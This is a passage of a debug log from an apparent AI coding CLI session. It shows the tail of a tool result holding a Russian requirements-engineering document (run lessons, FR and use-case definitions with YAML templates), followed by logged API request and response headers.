\u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0435\u0433\u043e. |\\n| RUN-0025 | \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0434\u0443\u0431\u043b\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u044d\u0442\u0430\u043f\u044b \u0440\u0430\u0431\u043e\u0442 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b \u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u0430; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043e. | Review \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0442\u0438\u043f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 decision authority, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0433\u0440\u0430\u043c\u043c\u0430\u0442\u0438\u043a\u0443. |\\n| RUN-0026 | Scope expansion \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0443\u0431\u043b\u044c \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0434\u0430\u043b\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u0432\u044b\u0431\u0440\u0430\u0442\u044c. | \u041f\u0440\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442\u0441\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 trade-offs, \u043d\u0435 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0027 | \u0422\u0440\u0438 \u0447\u0438\u0441\u043b\u043e\u0432\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438; \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u0430\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u044f\u0432\u043d\u043e. | \u0427\u0438\u0441\u043b\u043e \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 anchor \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430; partial \u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e fact. |\\n| RUN-0029 | \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u0447\u0430\u0441\u0442\u044c baseline \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c decision event. |\\n| RUN-0055 | 40 \u0438\u0437 50 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, 10 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438. | Claim-level verification \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c feasibility verdict. |\\n| RUN-0056\u2192RUN-0058 | \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 gap \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 API \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 evidence \u0438 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d \u043f\u0440\u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0438 SSOT. |\\n| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n| BCREQ-1106 | \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u0414\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 solution layer, \u043d\u0435 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 FR. |\\n\\n## \u0421\u0442\u0440\u043e\u0433\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n\\n\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b \u0441\\n[ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen)\\n\u0438 [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary),\\n\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a BCREQ-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n### Functional Requirement\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** FR \u2014 \u043e\u0434\u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\\n\u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435. FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 `\u0447\u0442\u043e`, \u0430 \u043d\u0435 \u044d\u043a\u0440\u0430\u043d, control, \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\\n\u0448\u0430\u0433\u043e\u0432 \u0438\u043b\u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n\\n`FR-INV-01` \u2014 \u0443 FR \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d `requirement_id`, \u043e\u0434\u0438\u043d system subject \u0438 \u043e\u0434\u043d\u0430\\n\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f capability; \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\\n\\n`FR-INV-02` \u2014 FR \u0438\u043c\u0435\u0435\u0442 `goal_refs`, `task_refs`, `source_refs`,\\n`product_binding`, `delta_ref` \u0438 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u0438\u043d `scenario_ref`.\\n\\n`FR-INV-03` \u2014 \u0442\u0435\u043a\u0441\u0442 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c (`shall` / \u00ab\u0434\u043e\u043b\u0436\u043d\u0430\u00bb) \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439\\noutcome. \u0421\u043b\u043e\u0432\u0430 `\u043a\u043d\u043e\u043f\u043a\u0430`, `\u043f\u043e\u043b\u0435`, `\u0432\u043a\u043b\u0430\u0434\u043a\u0430`, `endpoint`, \u0444\u043e\u0440\u043c\u0430\u0442 payload \u0438\\n\u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432 FR \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f warning, \u043f\u043e\u043a\u0430 semantic gate \u043d\u0435 \u0434\u043e\u043a\u0430\u0436\u0435\u0442,\\n\u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0430\u043c\u043e \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435.\\n\\n`FR-INV-04` \u2014 as-is, project task, rationale, constraint, NFR, acceptance\\ncriterion \u0438 solution option \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u0442\u0438\u043f FR.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nrequirement_id: FR-001\\nsystem_subject: target-system\\nshall: \\\"provide \\\"\\ngoal_refs: [GOAL-01]\\ntask_refs: [TASK-01]\\nsource_refs: [SRC-01]\\ndelta_ref: DELTA-01\\nproduct_binding_refs: [PB-01]\\nscenario_refs: [UC-001]\\nacceptance_refs: [AC-001]\\n```\\n\\n### Use Case\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** UC \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0446\u0435\u043b\u044c\u044e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f actor-\u0430 \u0441\\n\u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f trigger-\u043e\u043c, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\\n\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435/\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u043c outcome. UC\\n\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439; \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043e\u043d \u043d\u0435\\n\u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e capability.\\n\\n`UC-INV-01` \u2014 UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, goal, trigger, preconditions, numbered main\\nflow, alternatives/exceptions \u0438 postcondition/outcome.\\n\\n`UC-INV-02` \u2014 \u043a\u0430\u0436\u0434\u044b\u0439 UC \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043d\u0430 FR, NFR \u0438\u043b\u0438 constraint; \u043a\u0430\u0436\u0434\u044b\u0439 FR\\n\u0438\u043c\u0435\u0435\u0442 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d UC. \u0421\u0432\u044f\u0437\u044c many-to-many \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.\\n\\n`UC-INV-03` \u2014 UI control \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0448\u0430\u0433\u043e\u043c UC; failure branch \u2014 alternative \u0438\u043b\u0438\\nexception. \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f FR \u0431\u0435\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439\\ncapability.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nscenario_id: UC-001\\nactor: ACTOR-01\\ngoal_ref: GOAL-01\\ntrigger: \\\"...\\\"\\npreconditions: [PRE-01]\\nmain_flow: [STEP-01, STEP-02]\",\n[2026-09-29T07:45:05.390Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:45:05.390Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:45:05.390Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:45:05.390Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:45:05.390Z] [INFO]   }\n[2026-09-29T07:45:05.390Z] [INFO] }\n[2026-09-29T07:45:05.407Z] [STDOUT] [log_490491] sending request {\n[2026-09-29T07:45:05.414Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:05.423Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:05.427Z] [STDOUT]   options: {\n[2026-09-29T07:45:05.435Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:05.443Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:05.455Z] [STDOUT]     body: {\n[2026-09-29T07:45:05.469Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:05.493Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:05.497Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:05.504Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:05.527Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:05.547Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:05.574Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:05.585Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:05.587Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:05.589Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:05.597Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:05.600Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:05.606Z] [STDOUT]     },\n[2026-09-29T07:45:05.610Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:05.614Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:05.620Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:05.630Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:05.641Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:05.646Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:05.650Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:05.653Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:05.672Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:05.681Z] [STDOUT]     },\n[2026-09-29T07:45:05.689Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:05.697Z] [STDOUT]   },\n[2026-09-29T07:45:05.706Z] [STDOUT]   headers: {\n[2026-09-29T07:45:05.727Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:05.751Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:05.764Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:05.768Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:05.787Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:05.809Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:05.818Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:05.852Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:05.867Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:05.879Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3931\",\n[2026-09-29T07:45:05.889Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:05.898Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:45:05.907Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.928Z] [STDOUT]     \"x-client-request-id\": \"2411d34b-6711-4c80-ab19-55de0b0eb8cb\",\n[2026-09-29T07:45:05.951Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:05.985Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:05.989Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:06.003Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:06.010Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:06.026Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:06.041Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:06.054Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:06.067Z] [STDOUT]   },\n[2026-09-29T07:45:06.073Z] [STDOUT] }\n[2026-09-29T07:45:06.082Z] [STDOUT] [log_490491, request-id: \"req_011CfXMjH3PgxwSnTsMAc7t9\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 837ms\n[2026-09-29T07:45:06.094Z] [STDOUT] [log_490491] response start {\n[2026-09-29T07:45:06.100Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:06.105Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:06.108Z] [STDOUT]   headers: {\n[2026-09-29T07:45:06.112Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:06.154Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:06.164Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:06.177Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:06.184Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:06.207Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:06.272Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:06.362Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:06.391Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:06.416Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:06.438Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:06.447Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:06.453Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:06.460Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:06.472Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:06.479Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:06.491Z] [STDOUT]     \"cf-cache-status\": 